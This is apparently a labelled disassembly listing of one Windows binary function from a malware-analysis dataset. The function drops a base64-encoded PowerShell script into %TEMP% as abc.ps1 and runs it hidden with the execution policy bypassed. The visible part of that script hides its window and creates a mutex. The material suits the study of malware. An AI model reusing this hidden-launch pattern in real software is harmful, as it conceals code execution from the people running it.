Function at 0x1400029e0
Capabilities:
Create process on windows
Query environment variable
Write and execute a file
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xf0
call fcn.140001500
lea rax, str.TEMP
mov rcx, rax
call sub.api_ms_win_crt_environment_l1_1_0.dll_getenv
mov rcx, rax
call sub.api_ms_win_crt_filesystem_l1_1_0.dll__chdir
mov ecx, 0x5cd2
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
lea r9, str.JAB0ACAAPQAgACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACkAXQAgAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGIAbwBvAGwAIABTAGgAbwB3AFcAaQBuAGQAbwB3ACgAaQBuAHQAIABoAGEAbgBkAGwAZQAsACAAaQBuAHQAIABzAHQAYQB0AGUAKQA7ACcADQAKAGEAZABkAC0AdAB5AHAAZQAgAC0AbgBhAG0AZQAgAHcAaQBuACAALQBtAGUAbQBiAGUAcgAgACQAdAAgAC0AbgBhAG0AZQBzAHAAYQBjAGUAIABuAGEAdABpAHYAZQANAAoAWwBuAGEAdABpAHYAZQAuAHcAaQBuAF0AOgA6AFMAaABvAHcAVwBpAG4AZABvAHcAKAAoAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkAIAB8ACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACkALgBNAGEAaQBuAFcAaQBuAGQAbwB3AEgAYQBuAGQAbABlACwAIAAwACkADQAKAA0ACgANAAoAJABtAHUAdABlAHgATgBhAG0AZQAgAD0AIAAiAEcAYQBsAGUAcgBpAGUATQB1AHQAZQB4ACIADQAKACQAbQB1AHQAZQB4ACAAPQAgAE4AZQ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HAGEAbABlAHIAaQBlACAAcwBlAHIA
lea r8, str.powershell__nop__ExecutionPolicy_Bypass__WindowStyle_Hidden__encodedCommand
lea rdx, str._s___s_
mov rcx, rax
call fcn.140002530
lea rax, [0x14000400e]
mov rdx, rax
lea rax, str.abc.ps1
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fopen
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 8]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rdx, rax
mov rcx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov r9, rcx
mov r8d, 1
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fclose
lea rax, str.powershell.exe__File_abc.ps1
mov qword [rbp - 0x18], rax
lea rax, [rbp - 0x30]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
lea rax, [rbp - 0xa0]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
mov dword [rbp - 0xa0], 0x68
mov rax, qword [rbp - 0x18]
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0xa0]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
je 0x140002b65
mov rax, qword [rbp - 0x30]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
jmp 0x140002b6a
mov eax, 1
add rsp, 0xf0
pop rbp
ret